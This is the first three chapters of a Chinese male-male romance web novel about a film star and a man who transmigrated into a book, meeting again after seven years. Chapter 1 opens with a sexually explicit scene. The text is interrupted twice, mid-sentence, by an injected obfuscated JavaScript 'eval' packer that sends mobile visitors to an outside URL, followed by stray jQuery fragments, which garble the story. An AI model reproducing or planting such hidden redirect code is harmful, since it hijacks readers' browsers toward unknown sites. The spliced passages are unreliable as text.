《穿书后成了顶流影帝的白月光》
1. 第 1 章
窗帘拉得严严实实,隔绝了所有夜色,只有一盏台灯,在墙上晕开两团模糊纠缠的影子。
润滑剂的瓶子歪倒在床单上,漏出一小滩水痕。粗重的喘息在密闭的房间里显得格外清晰,空气沉甸甸的,吸满了皮革蒸腾的热意和某种难以言喻的浓稠甜腥。
枕头上,男人偏过头,半张脸陷在柔软的织物里。灯光沿着他绷紧的后背流淌,后背绷出漂亮的肩胛骨轮廓,像一对被暖光浸透、随时要破皮而出的蝶翼。
床单在他紧攥的指下皱成一团,指节用力到泛白。每一次难以承受的力道传来,他手臂上的筋脉便绷紧暴起,像被拉到极限的弓弦,突突地跳动着。
他皮肤偏白,此刻却蒸腾着薄红。而覆在他身上的阴影里,另一具躯体的肤色更像冷白的瓷器。汗珠在那起伏的肌理上蜿蜒,汇聚,最终悬停在腰际那凹陷的涡旋里,像一颗颗被体温煨热后,摇摇欲坠的星子。
床头板冰凉的触感,隔着不到半寸的距离,若有若无地刺着他的额头。每一次无意识的向前挪蹭,都让那点凉意更靠近一分。
他撑在床头的手掌被床垫深处传来的震动撞得发麻。
这姿势倍感狼狈了。
……
“……”他把脸更深地埋进枕头,耳根滚烫,像要烧起来。
忽然,一点温热的气息拂过耳后,男人不由屏住了呼吸。身后湿热的胸膛紧密地贴合着他的脊背,毫无间隙。对方每一次急促的吸气、呼气,以及那细微到几乎难以察觉的震颤,都透过相贴的皮肤清晰地传递过来。
这静止般的相拥,竟也有几分说不出的温情。
鬼使神差地,他侧过头,用自己滚烫的脸颊,轻轻蹭了蹭对方汗湿的鬓角。这近乎本能的亲昵触碰,让覆在他身上的人眼睑倏地抬起,两道锐利的目光直直射像他。
猝不及防的四目相对,他眼底那片还未来得及收拾的浓稠迷恋,就这样毫无遮掩地撞进对方的视线里。
身上的人明显一僵,像烫到似的,手臂发力就要撑起身体退开。
昏黄的灯光描摹着那张脸,漂亮得近乎锋利,薄情的眉眼此刻染着动情的潮红,连带着惊怒的瞪视都蒙上了一层湿漉漉的雾气,显得毫无威慑,反而有种奇异的柔软。
唯独紧绷的下颌线,固执地泄露出一丝强撑的倔强,反倒让这瞬间的表情鲜活了起来,带着孩子气的别扭。
他看得心头一悸动,着了魔般,忽然伸出手,一把圈住了对方正要撤离的手腕。
被握住的人只是微微一怔,竟没有立刻挣脱。眼睫低垂,在鼻梁投下一小片细密的阴影。
沉默在两人之间弥漫。
男人面上闪过一丝喜色,喉结滚动了一下,压下几乎要撞出胸膛的紧张,声音带着点不稳的沙哑,低声道:“......换个姿势。”
空气的凝滞感加剧,比刚才更甚。
他清晰地感觉到对方手腕的肌肉愈发绷紧,相贴的皮肤下,那股暖流正迅速退潮,只留下黏腻的湿冷,几乎要渗进彼此的血液里。
这种冰冷的沉默,他太熟悉了。像一盆冰水兜头浇下。
理智在尖叫着放手,可今天不知怎么了。他固执地锁住对方的视线,那“看着他”的念头在血管里奔突冲撞,撞得他太阳穴突突作响。
“趴久了......”他拙劣地找着借口,“喘不过气。”
死寂在房间里膨胀。他狠狠咬住口腔内侧的软肉,铁锈的腥气瞬间在舌尖弥漫开,刺痛着清醒。
“让我......看着你...”他声音抖得不成样子,几乎是气音里挤出的哀求。
那人浓密的睫毛又细微颤了颤。他忽然想起深夜电脑屏幕的荧光,那些藏在匿名论坛里的露骨字句,此刻竟一句句在耳边炸开,烫得耳根发麻。
羞耻感洪水般涌上来,瞬间没顶。可他竟不管不顾地,任由那被碾碎的自尊从齿缝里漏出来:“我想看着你/我。”
原来人真的可以卑微到尘埃里,只为了汲取对方眼底一点微光。他闭了闭眼,放任自己向这无望的深渊坠落。
话一刚落,覆在身上的躯体更是绷紧如铁。紧接着,是那熟悉到冷人惊慌的抽离感。
对方竟要退开。
“别走!”
他色厉内荏地喝令,向来克制的情绪决了堤,眼眶被灼烫的液体逼得生疼。
可对方动作未停,那份炙热的触感正一寸寸剥离。就在那连接即将彻底断开的瞬间,恐惧攫住了他。
男人挣扎着想要翻身挽留,却猛地被一股不容抗拒的力道狠狠按回床褥深处,重新被钉在那片灼热与窒息的中心。
“呃!”
钝痛和骤然被重新填满的触感带来一丝荒谬的心安,随即又被汹涌却无处宣泄的委屈彻底淹没。
“为什么......”他整张脸埋在枕头里,声音被布料吸得支离破碎,几乎只剩下气声,“这么多年了......性别这一道坎......就真的...迈不过去吗?”
“可这......我怎么改得了。”
“嗡——”
周君珩从梦中惊醒,额前的碎发被汗水浸得透湿。床头的手机震个不停,他看都没看,抬手狠狠擦掉脸上的泪痕。
七年了。他以为早忘了。
周君珩扯动嘴角,喉间溢出一声自嘲的冷笑。
一辆通体漆黑的保姆车驶过两百米长的银杏林大道,最终停在一处灰墙黛瓦的别墅区前。
车内,左右两侧各坐着一人。
副驾驶上,元华推了推银丝眼镜,手机屏幕的光映在他略显疲惫的脸上。他正刷着一条“#周君珩机场#”的脱粉视频,眉头越皱越紧。
视频里,昨晚的机场乱得像一锅粥。接机口挤得水泄不通,粉丝们踮着脚尖往前涌,长枪短炮的镜头齐刷刷对准人群中央那个身影。
周君珩戴着口罩,遮住了大半张脸,可即便如此,也难以掩盖他那凌厉的眉骨。
他单手插兜走在工作人员开出的窄道上,肩背挺得笔直,自带一股生人勿近的气场。
视频前面还算有序。粉丝们默契地随着他的步伐后退,不时传来“哥哥注意身体!”“新戏什么时候开机?”的关切喊声。
周君珩偶尔朝声源方向微微颔首。就这简简单单的回应,在站姐们眼里都能成绝佳素材,足够剪出多个令人心动的苏点混剪。
到了视频后半部分,变故陡生。
周君珩非常突兀地僵在原地。透过口罩上沿,能看见他的瞳孔骤缩,望着右前方某处,里头有着难以置信的惊愕和某种近乎疯狂的急切。
身后那群粉丝可遭了殃。这帮小姑娘原本跟得挺整齐,这下全乱了套,你撞我我踩你,像一群没头苍蝇撞成了一团。
周君珩对这些骚动视而不见。他猝然发了狠,搡开护在他身侧的手臂,不管不顾往人群里扎。
前排粉丝轰然炸了锅。“周君珩!周君珩!”的尖叫声此起彼伏,无数双手在空中乱抓。有个小姑娘被挤得踉跄,带着哭腔喊“别挤了”,可这声转眼就被更大的声浪吞没。
元华看着屏幕里那个完全陌生的周君珩,手指无意识地揉搓着眼角,怀疑自己是不是熬夜产生了幻觉。
平心而论,在经纪人这个行当里,元华觉得自己算是捡着宝了。带周君珩这些年,简直省心到让人怀疑人生。该出席的活动从不迟到,该配合的宣传从不推脱,就连最难搞的媒体采访,他都能应付得滴水不漏。
周君珩这个人吧,天生就带着股不怒自威的气场。元华到现在都记得第一次见他的场景,那人就那么坐着,眼皮都懒得抬一下,奇怪的是居然让人一点都不觉得被冒犯。
他生得一副极好的骨相,眉骨到鼻梁的线条像山脊般利落,下颌的弧度干净锋利。好看是好看,却总带着几分生人勿近的冷意。
圈里人都说周君珩是天生的明星料子,可元华知道,那都是人家骨子里的教养撑着。就像他对待粉丝,虽然从来不搞什么亲民路线,但该有的礼貌一点不少,距离把握得刚刚好。
可眼前这视频...这个失了分寸的周君珩,反常得让他心里发毛。
“有意思...”元华眯起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871346|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛,瞬间来了精神。他太了解周君珩了,能让这位祖宗当众失态的人或事,绝对不简单。
见旁边的人再一次摁灭手机屏幕。元华终于憋不住了:“说一下呗,昨天到底什么情况?”
袁刚目光扫过又一次自动挂断的通话界面,只是摇头没说话。
得,白问。元华在心里翻了个白眼。
两人不再出声,车厢陷入沉默。
直到一道颀长身影出现在视野里,袁刚才像通了电似的推门下车。寒冬的冷风灌进来,他缩着脖子小跑到左侧,动作熟练地拉开后座车门。
周君珩坐进车里。元华从后视镜里瞄见他一大早就架着副墨镜,不由多看了他一眼。
后座的男人仰头靠在颈枕上,镜框外的下颌线条绷得发紧,左手有一搭没一搭地摩挲着右手手背上那道红痕。
元华皱了皱眉。作为经纪人,他见不得自家艺人身上有半点瑕疵,很想问有没有做过处理,但周君珩浑身散发着“别来烦我”的气息过于强烈,还是识相地闭上了嘴。
手机在兜里震个不停,工作室群里消息刷得飞快,#周君珩推搡粉丝#的热搜虽然被压到二十开外了,但广场上还有几个营销号在暗戳戳带节奏。
不过元华倒是不怎么担心。就凭周家在这圈子里的人脉,这点风波连个水花都算不上。他更好奇的是,这位平日里八风不动的祖宗,到底看见什么了能让他当众失态。
“今天的通告单发你了。”元华清了清嗓子,跟报菜名似的开始念,“上午十点杂志拍摄,下午三点品牌方要来谈续约的事,晚上还有个时尚活动。”
后座传来一声几不可闻的轻哼。周君珩把墨镜往下拉了半寸,露出那双标志性的丹凤眼。
“推了。”
“哪个?”
“全部。”
元华转头时瞥见他眼尾泛着不自然的红。昨儿半夜才从跨省路演赶回来,机场那出闹剧又折腾到后半夜,他只当周君珩是没休息好的缘故,便不再多话。
电话那头的杂志方倒是好说话,满口答应调整档期。能不好说话么?周家的背景加上三金影帝的招牌,够让他们全团队乖乖等着。
“人怎么样了?”
后座突然蹦出这么一句,元华愣了两秒才反应过来他问的是机场摔倒的那个粉丝。
“右脚裸扭伤,片子显示没骨折。”他划拉着平板调出医院发来的邮件,往后座递,“其他没啥大碍,公司已经派人全程跟进了。”
本以为这事就算翻篇了,没想到五分钟后,后座飘来一句,那语气轻淡又不容置疑。
“去医院吧。”
元华瞅了眼后视镜,周君珩依然保持着仰靠的姿势,墨镜后的表情看不真切。
周君珩主动提出去医院看摔伤的粉丝,意外,却也不算意外。他要做的事,从来只按自己的意愿来。
不过倒是个扭转舆论的好机会,元华已经在心里盘算着通稿该怎么写。
想了一会,思绪不由飘到刚接手周君珩那会儿。圈里有点门路的都知道这位的背景,多数人都是观望态度。毕竟这样的公子哥,谁知道是不是一时兴起?连元华自己都暗自腹诽,怕是带不了几个月这位少爷就得撂挑子。
但这世上就是有这么一种人,老天爷追着喂饭吃,偏生还比谁都拼命。元华见过周君珩为了一场情绪戏,反复揣摩到深夜;NG几十条也不见半点不耐,大冬天淋雨戏一条过,冻得嘴唇发紫还在跟导演讨论人物动机。那股子较真劲儿,连导演都暗自咂舌。
那部电影上映后,所有质疑声都哑了火。
说来也巧,让周君珩一炮而红的也是个新人的作品。
元华隐约记得当时有些捕风捉影的传闻,说周君珩入行就是为了这部戏,甚至为此有过什么争执。他当时没太在意,毕竟圈里最不缺的就是各种流言。
后座传来轻微的响动,元华这才回神。后视镜里,他看见周君珩抬手调整了下墨镜,目光长久地落在手机屏幕上,像是要把那小小的方寸之地看穿。元华几乎以为时间静止了,才见他终于动了动手指。
2. 第 2 章
落地窗外的阳光斜切进来,在实木地板上划出一道明暗交界线,细小的灰尘在光柱里懒洋洋地打着转。
陈丽华攥着茶杯,指节绷得发白。茶水早凉透了,杯沿沾着半圈口红印。她死死盯着对面那个连头都懒得抬一下的男人,心口那团火闷烧着,越窜越高。
半小时前,门铃不依不饶地响到第三遍,褚亭玉才慢悠悠地来开门。一声“妈”都没叫,直接把她晾在玄关,自顾自转身往里走。等陈丽华跟进来,她的儿子已经窝进沙发里,正慢条斯理地修剪着指甲。
想喝口热茶还得自己动手。她故意把杯碟碰得叮当响,可对方始终无动于衷。
褚亭玉歪在单人沙发里,左腿曲起踩在沙发边缘,像只养尊处优又目中无人的猫。略长的发尾垂落在颈侧,随着他修剪指甲的动作轻轻晃动。银色指甲剪每发出“咔”的一声脆响,陈丽华的眼皮就跟着狠狠一跳。
剪完一片,他眯起眼,对着光仔细端详指甲床的弧度,似乎颇为满意。
“你都回国半个月了,”陈丽华终于压不住火,“公司那边到底打算什么时候去露面?”
回答她的只有空气里凝滞的沉默。她胸口一堵,刚要发作。
“右手剪得总是不顺手。”褚亭玉冷不丁开口,换了个姿势,手肘支在膝盖上,后脑勺对着她。睡衣领口歪斜着,露出一截苍白的脖颈,阳光穿透皮肤,几乎能看见底下淡青色的血管脉络。
“你爸昨天又问起...”陈丽华深吸了一口气,刚起个头。
“啧,剪歪了。”褚亭玉对着食指皱眉,下一秒,居然直接用牙咬掉了那片残余的甲片。这个突兀又孩子气的动作,让他看起来像个桀骜不驯的少年,尽管他早已二十八岁。
茶杯重重砸在茶几上,茶水泼溅出来,在光洁的玻璃面上画出歪歪扭扭的图案。
“林乔伊最近在拉拢董事会那帮老狐狸!”陈丽华一把抓起包,腾地站起来,“那贱人表面装得人畜无害,背地里比谁都狠!”她胸口剧烈起伏,声音里淬着毒,“你再这么吊儿拉当下去,等公司落到她手里,你我连西北风都喝不上!”
褚亭玉终于转过脸来。那张脸生得极好,好到近乎锋利,是那种扎进人眼里就拔不出的长相。眉骨投下的阴影里,一双眼睛黑沉沉的,像是能把周遭的光都吸进去。
陈丽华被他这么盯着,后颈的汗毛一根根竖了起来。
“陈女士,”他放下指甲剪,声音淡得像白开水,“这些年锦衣玉食,都把您养出不该有的心思了。”指尖随意一抬,袖口滑下半寸,露出的腕骨白得刺眼,“门在那边,不送。”
“哈!”陈丽华从鼻腔里挤出一声短促的冷笑,红唇勾起讥诮的弧度,“现在倒是学会摆谱了?当年是谁像条饿狼似的,闻着肉腥味就跟在我屁股后面挤进林家?”她突然俯下身,浓烈到呛人的香水味裹挟着怒火兜头压过来,“怎么,在国外镀了层金,就真当自己是个人物了?”
褚亭玉眉峰几不可见地蹙了一下。那甜腻的香水味仿佛是有实体,直往他鼻腔里钻。他向后更深地陷进沙发里,动作优雅却带着毫不掩饰的嫌恶,全然无视陈丽华瞬间铁青扭曲的脸色。
“林秋元让你明天去见见叶家那丫头。”陈丽华直起身,高跟鞋踩在地板上,发出一串尖锐刺耳的声响。她走到门口,霍然转身,“等林乔伊那贱人站稳了脚跟,第一个被清算的是我,第二个就是你这条养不熟的白眼狼!”
门板砸在门框上的巨响震得头顶的水晶吊灯簌簌乱颤。
可沙发上的男人,依旧维持着修剪指甲的姿势,眼皮都没抬一下。
褚亭玉垂着眼睫,气定神闲地将最后一片指甲修剪圆润。
他缓缓起身,修长的身形在落地窗前拉出一道利落冷硬的剪影。过耳的黑发在阳光里泛着冷调的光泽,衬得他本就苍白的肤色,透出一种病态的透明感。骨节分明的手指拎起那个沾着刺眼口红印的茶杯,眉头厌恶地一拧,连杯带碟,“哐当”一声扔进了垃圾桶。
手机屏幕亮起,陈丽华的短信跳出来,密密麻麻列着叶家千金的资料和明日会面的餐厅地址。他扫了一眼,正要删除……
“建议保留。”机械音突兀地在脑中响起,“该角色与宿主存在婚约关系,删除将导致剧情偏离。”
褚亭玉的指尖顿在半空,“原著里没这段。”
作为前期小反派,作者哪会浪费笔墨在这种无关紧要的相亲戏码上。
“虽原书未提及,但此为原主能否与叶家联姻的关键节点,请按原定时间出席。”系统一板一眼地解释,带着不容置疑的意味,“宿主承诺过会完成基础剧情线。”
他盯着屏幕上那个陌生女孩公式化的笑脸,嘴角扯出一个冷淡的弧度。
“知道了。”他划掉短信界面,点开外卖软件,语气里带着几分厌烦,“随你。”
随意选了个套餐下单,手机被他像丢垃圾一样仍到旁边。
褚亭玉推开书房门,黑色真丝睡衣随着步伐无声滑动,衣角翻飞间,隐约可见劲瘦利落的腰线。他打开笔记本电脑,修长的手指落在键盘上,起初是规律清晰的“哒哒”声,渐渐就乱了章法。
光标在屏幕上固执地闪烁,他的视线却早已飘远。
这是第二次了。
第一次被丢进这个世界时,那个不靠谱的系统连书名都报不全,丢下一句“去反馈”就消失得无影无踪。
他险些以为自己要被永远囚禁在这堆文字砌成的虚假牢笼里。
直到某天,系统毫无征兆地重新上线。解释说绑定他是程序错误,随时能送他回原世界。
前世的记忆瞬间涌上来。惨烈的车祸,精心设计的局,还有那刻骨铭心、未曾得报的血仇......
褚亭玉走得干脆利落,毫无留念,仿佛这个世界不过是场可以随时存档退出的无聊游戏。
复仇的快意来得快去得也快。他开始频繁地被同一双眼睛缠住。漆黑如墨,执拗得像生了根,死死钉在他的记忆深处,甩不掉,也剜不掉。
“你走后,原主的身体很快消失了。”系统的声音依旧机械,“但他是前期重要的反派。”
系统提出交易:褚亭玉返回书中世界,完成原主该走的剧情线,作为回报,它将赠送一个健全的身体。
只是没料到,再穿进来,已是七年之后。
第二天下午,褚亭玉跟着导航在这座陌生的城市绕了半天,毫不意外地迟到了。等他赶到约定餐厅时,靠窗的位置已经坐了人。
叶蓁蓁第三次低头看表,指尖不耐烦地在手机屏幕上戳了两下。她点开闺蜜群,噼里啪啦地打字:“救命!相亲对象迟到二十分钟了!连个屁都没有,这种连基本时间观念都没有的男人......”
消息还没发完,一股无名火拱上来,她赌气似的又补了一句:“听说还是个见不得光的私生子,果然没教养!”
发出去那一瞬,她自己都愣了下。这话刻薄得过分,但此刻烦躁的情绪占了上风。她正打算拎包走人,便感觉头顶的光线被遮住了一片。
“抱歉,让你久等了。”
这声音像一捧清冽的雪水,猝不及防地浇灭了叶蓁蓁的焦躁。她愕然抬头,逆光里站着一个高挑的身影。那人黑发略长,脑后随意扎着个小揪,几缕不听话的碎发垂在颈边,随着动作轻晃。
“高架桥出了事故,堵了半个钟。”褚亭玉拉开椅子坐下,声音平静,却莫名让人听出一丝诚恳。
叶蓁蓁下意识把手机屏幕朝下扣在桌上。光线挪开,她终于看清对方的脸。
轮廓清晰利落,皮肤在黑色毛衣衬托下白得几乎透明,浓密的睫毛在眼下投出一小片扇形的阴影。更要命的是她道歉时微微抿起的唇角,竟透出几分不合时宜的无辜感。
她喉咙发紧,轻咳一声,语气不由自主地软了三分:“......没事,我也,刚到没多久。”
话一出口,她就恨不得咬掉舌头。这谎撒得也太拙劣了。
褚亭玉坐下后,没碰侍者送来的柠檬水。
“叶小姐,”他双手交叠放在桌面上,“我们开门见山吧。”
“两家的状况,彼此心知肚明。若是你没意见,挑个日子,就把订婚宴定下来?”
叶蓁蓁搅拌咖啡的银匙猛地停住。她抬头看他,荒谬感油然而生。
“褚先生,”她放下小匙,尾音拖长,“你平时说话...都这么...”她指尖在空中虚虚画了个圈,“单刀直入?”
“省时间。”褚亭玉略一颔首,“走过场的事,何必浪费彼此精力。”
叶蓁蓁被他这过分坦率的实诚逗得差点笑出声。哪个女孩没做过浪漫邂逅的梦?可惜轮到自己头上,却成赤裸裸的商业联姻。
不过......这人眉眼生得实在精致,到也不算太亏。
她端起咖啡抿了一小口,压下那点笑意,“那至少加个联系方式?以后总不能靠飞鸽传书吧。”
褚亭玉掏出手机,解锁,屏幕亮起冷白的光。
叶蓁蓁扫完二维码,状似随意地闲聊:“很少见人姓褚呢,是随母姓?”
“姥姥的姓。”褚亭玉回答简洁,收回手机的动作干脆利落。
叶蓁蓁悄悄抬眼打量,褚亭玉神色如常,既没因这略显冒昧的问题皱一下眉,眼底也寻不到半分不耐。
她心里忍不住嘀咕:倒是个沉得住气的。
叶蓁蓁刚把手机塞回包里,餐厅另一侧的卡座里,元华正给对面唾沫横飞地讲着新剧本的导演刘鑫添水。
“所以我们打算用一镜到底的长镜头...”刘鑫说着说着,声音戛然而止,目光越过元华肩膀,“哎?那不是叶家的大小姐吗?”
元华顺着他的视线望去。靠窗的位置坐着个穿米色裙子的年轻女孩,对面是个背对他们的男人,只能看到挺拔的背影和脑后那个随意扎起的的小发揪。
两人本就是来等人的,闲着也是闲着,便心照不宣地竖起了耳朵。
听着听着,听出一点苗头。元华用剧本挡着嘴,压低声音:“联姻?”
“十有八九。”刘鑫露出个了然于胸的笑容,“叶家最近不是在到处找靠山么。”他眯起眼,打量着那个背影,“嚯!这男的...气质倒是不俗。”
元华刚想探头细看,口袋里的手机嗡嗡震动起来。
是周君珩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871347|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发来的消息:【路上耽搁,五分钟后到】。
他飞快回了个“OK”,再抬头,窗边那桌的男人已经起身离开座位。
餐厅厚重的门被推开。助理袁刚率先走进来,身后跟着戴着黑色口罩的周君珩。他今天穿了件黑色高领羊绒衫,外面罩着一件挺括的深灰色长款大衣,衣摆垂至膝下,衬得整个人挺拔又疏离,带着一股生人勿近的冷峻。
“抱歉,迟到了。”周君珩在元华身边落座,声音透着显而易见的疲惫。
刘鑫立刻殷勤地把剧本推过去:“周老师,这部戏您看看......”
周君珩接过厚厚的剧本,垂眸,修长的手指开始无声地翻阅纸页。
没过多久,褚亭玉从洗手间的方向回来。他穿过餐厅过道时,头顶的灯光正好打在他脸上。元华正端着咖啡啜饮,目光触及那张脸,毫无防备地呛了一口,桌下的皮鞋尖狠狠踢到了刘鑫的小腿。
“我靠!”元华压低嗓子,咖啡杯往过道方向偏了偏,“快看!那男的!”
刘鑫吃痛抬头,只见一个扎着小揪的高挑男人正迎面走来。灯光清晰地描摹出他近乎完美的侧脸轮廓,长睫在眼下投出浓密的阴影,整个人干净利落得像一副行走的水墨丹青。
元华把剧本卷成筒,激动地戳刘鑫肩膀,“这要签到我手里......”
“做你的春秋大梦!”刘鑫毫不留情地打断,看着那男人越走越近,声音压得更低,“能跟叶家联姻的主,缺你这三瓜裂枣?”
两个人窃窃私语间,周君珩始终低垂着眼帘,专注地看着剧本。
元华还抻着脖子,目光黏在褚亭玉身上:“你说...我过去要个联系方式......”职业病犯了,看到好苗子就心痒难耐。
“消停点吧!”刘鑫能理解元华的惜才之心,但也觉得他异想天开,毕竟不是哪个豪门之子都能像周君珩那样愿意抛头露脸,“人家未婚妻可还在那儿坐着呢!别找不痛快!”
叶蓁蓁似乎察觉到什么,突然转头看向他们这桌。元华吓得立刻缩回脖子,假装埋头研究剧本,手肘一歪,差点带翻周君珩面前的咖啡杯。
“哎呦!对不住对不住......”元华手忙脚乱地道歉。
“第三场戏的机位有问题。”周君珩头也不抬地打断,指尖精准地点在分镜图上,“轨道这样走,镜头必然穿帮。”声音平稳,听不出情绪。
叶蓁蓁又狐疑地朝那桌瞥了一眼。那两个交头接耳的男人鬼鬼祟祟的,倒是旁边坐着的那位......她眯了眯眼,总觉得那张脸有点眼熟,像是在哪见过。
“看什么呢?”褚亭玉的声音毫无征兆地在耳边响起。他身上带着洗手间淡淡的檀木香,不知何时已经回到了座位。
“啊?没...没什么。”叶蓁蓁慌忙收回视线,念头一转,“对了,我今天没开车......”
“嗯,送你。”褚亭玉言简意赅,顺手拿起搭在椅背上的外套。
他话音才落,那边猛地传来“哐当”一声巨响!
叶蓁蓁惊得转头,看见刚才那个眼熟的男人像是被电击般从座位上弹了起来,面前的咖啡杯翻倒,深褐色的液体泼洒了一桌子。那人死死盯着他们,眼神像是要把褚亭玉的背影盯穿。
看清那张失态的脸,叶蓁蓁脑中灵光一闪。
她想起来了!
这不是影帝周君珩吗?
“那个......”叶蓁蓁刚想提醒,褚亭玉已经拎着她的包,径直走到了过道上。
他连头都没回一下,脚步甚至没有丝毫停顿。
这人怎么回事?后面这么大动静都没反应?
她小跑两步追上,忍不住又回头看了一眼。周君珩像尊雕塑般僵在原地,指节捏得咯咯作响,手背上青筋暴起。那张经常出现在大银幕上的俊脸此刻惨白得吓人,深邃的眼眸里翻涌着惊涛骇浪般的情绪,复杂得让她心惊。
两人刚走到旋转门入口,身后骤然响起一阵急促慌乱的脚步声!
叶蓁蓁还没反应过来,一道黑色的影子已如离弦之箭般冲了过来,一把死死扣住了褚亭玉的手腕。
“褚亭玉。”
这三个字像是从齿缝里硬生生挤出来的,带着一种濒临破碎的嘶哑。
叶蓁蓁甚至看见周君珩的喉结剧烈地上下滚动了一下,仿佛在强行吞咽着什么哽在喉咙里的硬物。
褚亭玉终于转过身。浓密的睫毛几不可察的颤动了一下,脸上却平静得如同一潭死水:“松手。”
那只扣住他手腕的手非但没松,反而像铁钳般骤然收紧,指甲几乎嵌进皮肉里。
叶蓁蓁惊愕地发现,这位荧幕上永远从容优雅的影帝先生,此刻眼眶通红,浓密的睫毛上竟挂着细小的水珠,整个人脆弱得仿佛轻轻一碰就会彻底碎裂。
“七年。”他手指神经质地收紧,声音抖得不成样子,每一个字都像是从肺腑里艰难地撕扯出来,“连条短信......都没有?”
褚亭玉静静地看着他,那双深不见底的黑眸里看不出任何波澜。过了几秒,他嘴角竟极轻地向上弯了一下,露出一个近乎温柔的笑意:“周君珩,你弄疼我了。”
3. 第 3 章
褚亭玉自欺欺人般昏睡了一整天,身下的木板床硬得硌人。
他再睁开眼,眼前依旧是那片陌生的、斑驳泛黄的天花板。空气里有一股旧房子特有的、混合着灰尘和淡淡潮气的味道。
没有消毒水,没有血腥气,也没有轮胎摩擦地面的尖叫。
他撑着身子坐起,视线扫过这间屋子。
狭小,逼仄。
一张堆满课本的旧书桌,一把掉了漆的椅子,墙上贴着几张褪色的明星海报。窗帘半拉着,透进外面灰蒙蒙的光线。
不是梦。
车祸是真的。死亡是真的。穿书......也是真的。
他闭上眼,深深吸了一口气,空气灌入肺腑,勉强压下喉咙口翻涌的血腥味和几乎要破胸而出的滔天恨意。再睁开时,那双深不见底的眼眸里,只剩下深潭般的死寂,以及一种近乎虚无的平静。
褚亭玉赤脚下床,冰凉粗糙的地板贴着脚心,走到书桌旁,那面边缘模糊的镜子前。
镜子里映出一张过分年轻的脸孔。苍白,五官精致得近乎锐利,眉眼轮廓深邃,带着少年特有的青涩骨架,却被一股浓得化不开的阴郁和沉冷覆盖着。
这张脸......像得惊人。活脱脱是年轻了十岁的自己。
只是更单薄,更脆弱,连左脸下方那颗小小的、淡褐色的痣的位置都分毫不差。他面无表情地与镜中人对视,镜中人回以同样毫无生气的凝视。
褚亭玉缓缓抬起手,镜中少年亦步亦趋。那只手,修长,骨节分明,带着少年人的纤细感,同样苍白得能看清皮肤下淡青色的血管。
视线移到镜框,落在一旁的学生证上。一寸红底照片旁边,印着几行小字。
海城一中高二(7)班。
指甲缓慢而用力划过姓名栏那三个字。
“褚亭玉......”他对着镜子,无声地动了动嘴唇。声音低哑干涩,带着一种确认,也带着一种被强行嵌入的割裂感。
同名同姓。一样的长相。连那该死的......都一模一样。
很好。这玩笑开得够拙劣,够他妈荒谬。
他漠然移开视线,不再看镜子里那个陌生的少年。转身,拉开那把吱呀作响的椅子坐下。动作带着一种浑然天成的优雅,与这寒酸的环境形成刺目的对比。
“系统。”他在脑中唤道,声音平直、冷硬。
“宿主意识已完全清醒,生命体征平稳,系统运行正常。”冰冷的电子音即刻响应,毫无起伏。
褚亭玉随手拨弄了一下桌上摊开的练习本,语气比那电子音更凉薄:“回不去也认了。把这身体原来的记忆,给我。”
脑海中短暂的沉默。接着,那个毫无情绪的电子音再次响起,吐出的内容却让他荒谬得想冷笑。
“世界背景检索中......”
“警告:数据库核心模块‘世界树图鉴(小说类)’在穿梭过程中遭遇未知能量风暴,关键数据......损毁。检索失败。”
“......”褚亭玉简直不敢相信自己的耳朵,“你把我弄到这鬼地方,一开始信誓旦旦说这是本破书形成的世界,现在告诉我你连书名叫什么都不知道?关键数据......还丢了?”
“是的。”系统的回答不带丝毫歉意,“仅确认当前小说衍生的次级小世界。具体书名、剧情、人物关系等核心数据......均已损毁,暂时无法恢复。”
“......”
褚亭玉忍了忍,终究没压住那口浊气。
“废物!”
系统:“......”
“笃、笃、笃。”
敲门声轻缓,带着试探。紧接着一个苍老却柔和得像棉絮的声音响起:“亭玉?醒了吗?睡了一天了,肚子空了吧?姥姥熬了粥,给你温着呢。”
褚亭玉动作一滞,目光投向那扇薄薄的木门。
姥姥?原主的亲人。
随着话音,强烈的饥饿感汹涌袭来,胃部发出清晰的咕噜声抗议。
他起身,径直走到门口,拧开那有些滞涩的门把手。
门外站着一位头发花白、身形微拘的老人。脸上皱纹深刻,眼神却清亮有神,盛满了毫不掩饰的关切。看到褚亭玉开门,她咧嘴一笑,眼角的皱纹挤得更深。
“哎哟,可算醒了。睡这么久,真把姥姥心都揪起来了。”老人的声音带着点后怕的嗔怪,想伸手摸摸他的额头,手抬到一半又顿住了,只是殷切地上下打量他,“脸色白刷刷的......饿坏了吧?快去洗把脸,粥还热乎着呢,姥姥这就给你盛。”
褚亭玉的目光在她布满岁月痕迹的脸上停留了一瞬,那纯粹的、不带任何杂志的关切,像一根极细的针,在他心尖某个冰封的角落,极其微弱地刺了一下,快得来不及捕捉。
他几不可察地颔首,转身走进窄小的卫生间,拧开水龙头。冰凉的水拍在脸上,让他混乱的思绪稍微清晰了一点。
“快过来坐。”老人看到褚亭玉出来,摇手招呼他过来,自己也在对面坐下,拿起一个包子掰开,“趁热吃,胃里空了一天,得吃点软的暖暖。”
褚亭玉拉开椅子坐下。硬木板凳,旧方桌。这环境与他前世习惯的云端天差地别,但他脸上没有半分局促或嫌弃,只有一种置身事外的平静。
他拿起勺子,舀起一勺稠厚的白粥,吹了吹,送入口中。
